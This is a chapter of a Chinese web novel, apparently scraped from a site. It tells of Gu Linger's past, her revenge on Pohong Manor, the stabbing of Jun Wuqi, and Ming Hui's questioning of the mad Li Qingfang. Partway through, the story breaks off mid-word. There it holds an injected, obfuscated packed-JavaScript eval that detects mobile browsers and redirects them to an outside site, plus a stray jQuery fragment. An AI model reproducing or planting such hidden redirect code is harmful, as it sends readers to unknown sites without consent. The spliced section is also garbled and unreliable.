“竟然……她已去世了……”她喃喃,“我不知道,是为人子女的过错……”
黑锏卡进白骨穷奇的骨架之间,拉得它猛一低头。君无岐忽然抬高声音唤她。
“谷菱儿!”
她下意识低头。
跌入一片金色海洋。
那是“点生目”最后的喘息。
时间在这一瞬间顷刻凝固,其他的人、物都在那一刻消失,风停,火止,对面白衣人放下锏,呼出一口长长的滚烫的气。
“原来你长这样。”谷菱儿看着她,讽笑,“难怪他总说我不够像,的确,你这般模样我演不出。”
君无岐眉心那道刻痕火烧般一亮。
她沉默着。
谷菱儿倒不太在意她说不说话,只是饶有兴趣地环顾四周,又试探性地抓起地上一把尘土。
“这是什么?幻境?”她缓缓张开手指,细碎的沙尘从指缝间簌簌落下,“也好,那我们就来聊聊?”
君无岐那双黯淡下来的眼睛静静望着她。
“如你所说,我出生在一个普通又不那么普通的农家。”她微笑道,“而我母亲,是大国师末徒徐敬溪最后一代后人。”
谷菱儿孩童时并不知晓这件事。
不……她原名应当是徐菱儿才是。
她父亲是入赘到徐家的,但在她三岁那年便卷走家中资材不知所踪。母亲很辛苦地带着她和兄长长大,可生计实在艰难,不得已之下,她偶尔也会为人家驱邪挣些微薄薪资。幼时的徐菱儿曾撞见过一次。
她并不知晓那究竟是什么,只是……就这么被吸引了。
母亲不愿教她,兄长笑她是个自找苦吃的棒槌。
不忿之下的徐菱儿趁家里人都不在家之时偷偷翻了母亲房间,在众多箱箧杂物中,找到了最底下的一封书卷。
用一张符封着,看似很脆弱,但她怎么也打不开。
她偷偷把那封书卷藏了起来。
待她长了些岁数,偶然在小河边捡到只大老鼠。老鼠是只耗子精,虽然语气总是很刻薄,但知恩图报,总会不知道从哪弄来些粮食。她偷偷把那封书卷给老鼠看,老鼠说,这是封信。
打不开是因为有禁制,大约是年龄,或别的什么。徐菱儿记在心里,待到十六岁那年,她终于能打开了。
那是大国师寄给末徒的信。
兴元六年,四月廿一。
“敬溪,你如今身在何处?你大师姐已决定为朝廷效力,挣一个功名,二师兄则要去江湖中闯荡,建宗立派,我已同他们说好,若有朝一日你来求助,他们不可无视,需得祝你一臂之力,你无须忧心。行走江湖的感觉如何?不可一味行侠仗义,忽视自己身体,天冷记得添衣,肚饿一定果腹,为师随信捎了些钱财,数量不多,够你吃饭。另外你得了空也记得来看看为师,我研究了些小玩意,待你来时给你带着。”
“我最近在德陵郡,你二师兄的山庄便建在此处,勿走错了方向。他近日不知为何有些心事似的,还琢磨要在山顶修个观音像,我笑话他,他居然也不反驳,真是奇也怪也。总之,保重自己,为师等你来。”
“师游山醉。”
竟然是封再普通不过的家信。
底下还有好几封,都是她寄来的,语气平和又朴实,和人们想象中的大国师一点也不一样,像个大姐姐。她把这几封信读了又读,感觉像是凭空中又有了一个亲人。
大国师游山醉也像普通人一样,写起信来凌乱又琐碎。书卷里夹着张很短的纸,展开一看,是当年徐敬溪的回信。
“师尊敬启。小徒近日在洪新县落脚,这是个不错的地方,只是受妖怪侵扰,百姓苦不堪言,待此间事了,我便去看望师尊。”
信的下半截没有了,信纸本身也皱皱巴巴,好像被水浸泡过。当时徐菱儿并不知晓这到底是什么意义,拿着信去找母亲,她却脸色大变,一把将信夺了下来。
“勿要乱动!”她斥责道,“好好过你的日子,不要想其他乱七八糟的东西!”
这件事让当时的徐菱儿备受打击。
她不知晓这究竟是因为什么,也不明白后来母亲为何会露出那样悲伤的眼神。大老鼠精偷偷告诉她,母亲留在这里,因为她要看着曾经被镇压的妖物,比如曾经河边的一棵藤。
“她不愿教你,也是为你好,这一行没那么容易。”她劝,“忘了那些事吧,做个普通人也挺好。”
但徐菱儿忘不掉。
她小时候就听过大国师的故事,像一道魔咒,总是时不时在她脑中盘桓。她总是在做活时想起那几封信,想起大国师的殷殷嘱托,好像自己没能达成她的期望似的,让她觉得烦躁又沮丧。
待她年岁越来越大,母亲开始张罗她的婚事,可十里八乡顶好的人家也不过是个普通庄稼汉。而兄长也总是说些没谱的话,譬如要她嫁出去置换些钱财之类。她又想起那些信,想起那个地方,叫作破红山庄。
她要去。
对未来的恐惧掩过了对未来的迷茫。
在谁眼中这都是件极其离经叛道的事——一个十七岁的小姑娘居然敢独自一人离家出走,奔赴遥远的德陵郡。但她的确那么做了,甚至成功抵达这里。
只是这里不是她梦想中的地方。
是地狱。
陆元飞一开始还没病得那么严重,只要有人陪着他重现百武集上那一幕就好,但红夫人和陆德辉无止境的溺爱让他的妄想越来越严重,脾气也越发暴躁,她动辄就要挨揍。她在仓皇时逃下山,遇到一个妇人。
她好心收留了她,却在翌日撞上红夫人派来的追兵。妇人带她逃进深山陵墓中,她才知晓,她竟然是大国师的守墓人。
“我家祖上曾在穷奇爪下受大国师庇护,她不幸陨落后便一直在此守着她的陵。”妇人道,“这座陵墓乃当时的景亲王所建,我们一直想将大国师的尸身从里面带出来,但受能力所限,一直不能成功。你看这墓中观音,其实不过是景亲王对大国师的投射……实在令人厌恶。”
“这是什么意思?”谷菱儿又惊又怕,“什么叫投射?”
妇人悲哀地望着她。
“这里是景亲王的囚笼。”她低声道,“因为生时留不下她,死后便如此作践她的尸身……呵,堂堂宗亲也不过如此。”
谷菱儿又想起那封寄给徐敬溪的信。
游山醉还活着的时候,究竟有没有想到她死后将要发生的事?
她可能已经猜到了,所以才问徐敬溪要不要去德陵……可那时的徐敬溪身上究竟发生了什么事,以至于她不仅没能去成,甚至连信都没有寄出去?
她不寒而栗。
“没事……我会保护你的。”妇人道,“这破红山庄和景亲王是一丘之貉,当年就是陆松和和景亲王沆瀣一气,大国师才不得不留在这里,以至于连咽气时都没能回到东海……别怕,别怕。”
她教了她一门法门,能操纵墓中的蓝蝶。她说,这是大国师死前特意留下的,以让她们守在深山老林里作防身之用。这些蝴蝶好奇心重,又记仇,所以一定不能与其他人接触,唯恐生事,平素只要定期让它们在山里飞飞就行。谷菱儿越听越怕,拉住她的手。
“你要去哪?”
妇人松开手,摸摸她的头,让她想起母亲。她出去引开了破红山庄的人。
谷菱儿按照妇人教她的,在陵中躲了一夜。待到第二日日出,妇人早就不见踪影。她试图离开这里回家,那是她最后的机会,但终究体力有限,最终还是被抓回了破红山庄。
红夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022782|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人带她去了月谷,在那里把她抽得鲜血淋漓,抓着她头发问她,“你要活,还是死?”
那是她第一次来月谷,也第一次知晓了这座山庄背后的秘密。她听说这里前两天来了个女人,家里似乎还有孩子,可被守卫看上,从小楼逃跑时不慎摔下来,当场死亡。
她选了活。
可也有什么死了。
活着的代价,就是换一张脸皮。
但这次……她有了新的目的。
她要复仇。
她要搞垮破红山庄。
她要陵墓坍塌,囚禁其中的灵魂终得自由。
借着这张脸,她终于有了一点离开破红山庄的机会。
游山醉陵寝中,她看到一张熟悉的面孔。童桐,她是守墓人的女儿。
于是一切顺理成章。
“你为何能驱动游山醉墓中的穷奇骨架?”君无岐问,“墓中观音塑像,就是你破坏的吧?”
“是我。”谷菱儿坦然承认,“有人帮过我,但我不能……”
君无岐头痛欲裂,脑海中好像有巨石落下,生生把眼眶撕裂。她打断她,“是摩尼教?”
谷菱儿一愣。
她皱起眉,“你知道?”
“陆德辉和他们勾连在一起,你也和他们勾连。”君无岐冷笑,“真是两头下注,哪边都不亏。”
谷菱儿面孔煞白,“什么?”
“我没空和你废话,既然你目的达成了,我们就各走各的路,你也别来碍我的……”
“嚓。”
君无岐这句话没能说完。
她缓缓低下头。
一截刀尖正从她胸口刺出,犹带着血。
又退出去。
“呃……”
鲜血泼溅在地,猩红刺眼。剧痛令她天旋地转,眼睛痛得像是要炸开,有血从她眼中流下。君无岐踉跄几步,强行撑着身体没有跌倒,口中喃喃念起祝由术,拼尽全力回头。
是阮清波。
她认识他……在十年前的百武集。
幻境在那一刹破裂。
外界依然烟火遍地,尽是残垣,破红山庄眼看就要被彻底摧毁。她动了动嘴唇,模糊视线中最后只能看到他愧疚似的看过来,轻轻说了几个字。
“抱歉,君子剑。”
她再也支撑不住,颓然陷入无尽的黑暗之中。
。
百里之外的丰城。
明晖忽然心里一悸。
潘白英注意到了,低声问她,“怎么了,指挥使?”
她摇摇头。
这是当地北门的办事场所,大概很久没人用了,墙板透风,瓦也有点漏光。她有些头疼,揉了下额角,呼出口气。
“她什么也不记得了?”
“是的。”潘白英眼神余光都没给地上跪着的女人,答道,“人为造成的,已经傻了,只有最后一点保护孩子的意识,但那小孩已经送到慈善堂去了。”
明晖疲惫地移开目光,看向郦青芳。
她和她记忆中那个人几乎一点也不一样。
曾经对她们颐指气使的郦青芳现在变成了一个愚笨痴傻的女人,头发打结,衣衫破烂,口中念着些谁也听不懂的话,若非她来办案,恐怕就要死在街头。可如今也没什么审问的价值。
明晖有些意兴阑珊,摆摆手,“算了,把她一并送到善堂去吧。”
潘白英立刻就要过去拉起郦青芳,可这个动作不知怎么刺激了她,她忽然面带恐惧,连滚带爬地把自己团起来,迭声道,“是我的错,我错了,小红,好妹妹,饶了我罢!”
明晖霍然睁大眼睛。
“你叫谁?”她一把攥住郦青芳手臂,把她硬生生提了起来,“你在叫谁妹妹?”
郦青芳傻愣愣地看着她。
潘白英不知发生了何事,试探着前来劝阻,“指挥使,她毕竟已经傻了,有些事也未必当真……”
“小红,你见过她!”
明晖根本没听她说话,眼神发亮,再度看向郦青芳,逼问道,“她在哪里?去了何方?”
可郦青芳又恢复了那副痴傻模样,闭口不再多说一个字,饶是明晖想尽办法,都没能再撬出任何情报。
折腾了半个时辰,明晖最终不得不放弃,令潘白英将她带走。可就在她站起身出门的那一刹那,她忽然回过头,面朝明晖,眼睛亮得诡异。
“死了。”她嘻嘻笑着,“小红死了!”
“你再也找不到她了。”
“哈哈哈哈哈哈哈哈!”
【第三案·观音颅·完】